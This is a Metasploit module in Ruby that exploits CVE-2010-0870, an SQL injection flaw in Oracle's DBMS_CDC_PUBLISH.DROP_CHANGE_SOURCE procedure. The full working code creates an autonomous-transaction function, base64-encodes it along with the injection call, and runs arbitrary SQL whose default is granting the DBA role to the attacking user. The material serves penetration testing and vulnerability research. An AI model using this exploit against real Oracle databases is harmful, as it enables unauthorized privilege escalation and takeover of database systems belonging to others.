Oracle DB SQL Injection Via SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::ORACLE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE',  
'Description' => %q{  
The module exploits an sql injection flaw in the DROP_CHANGE_SOURCE  
procedure of the PL/SQL package DBMS_CDC_PUBLISH. Any user with execute privilege  
on the vulnerable package can exploit this vulnerability. By default, users granted  
EXECUTE_CATALOG_ROLE have the required privilege.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2010-0870' ],  
[ 'OSVDB', '63772'],  
[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuapr2010.html' ]  
],  
'DisclosureDate' => '2010-04-26'))  
  
register_options(  
[  
OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]),  
])  
end  
  
def run  
return if not check_dependencies  
  
name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)  
var1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)  
var2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)  
  
function = "  
CREATE OR REPLACE FUNCTION #{name}  
RETURN VARCHAR2 AUTHID CURRENT_USER  
IS  
PRAGMA AUTONOMOUS_TRANSACTION;  
BEGIN  
EXECUTE IMMEDIATE '#{datastore['SQL']}';  
COMMIT;  
RETURN NULL;  
END;  
"  
  
package = "  
BEGIN  
SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE('''||'||user||'.#{name}||''');  
END;  
"  
  
uno = Rex::Text.encode_base64(function)  
dos = Rex::Text.encode_base64(package)  
  
encoded_sql = %Q|  
DECLARE  
#{var1} VARCHAR2(32767);  
#{var2} VARCHAR2(32767);  
BEGIN  
#{var1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{uno}')));  
EXECUTE IMMEDIATE #{var1};  
#{var2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{dos}')));  
EXECUTE IMMEDIATE #{var2};  
END;  
|  
  
print_status("Attempting sql injection on SYS.DBMS_CDC_PUBLISH.DROP_CHANGE_SOURCE...")  
prepare_exec(encoded_sql)  
print_status("Done...")  
  
end  
end  
`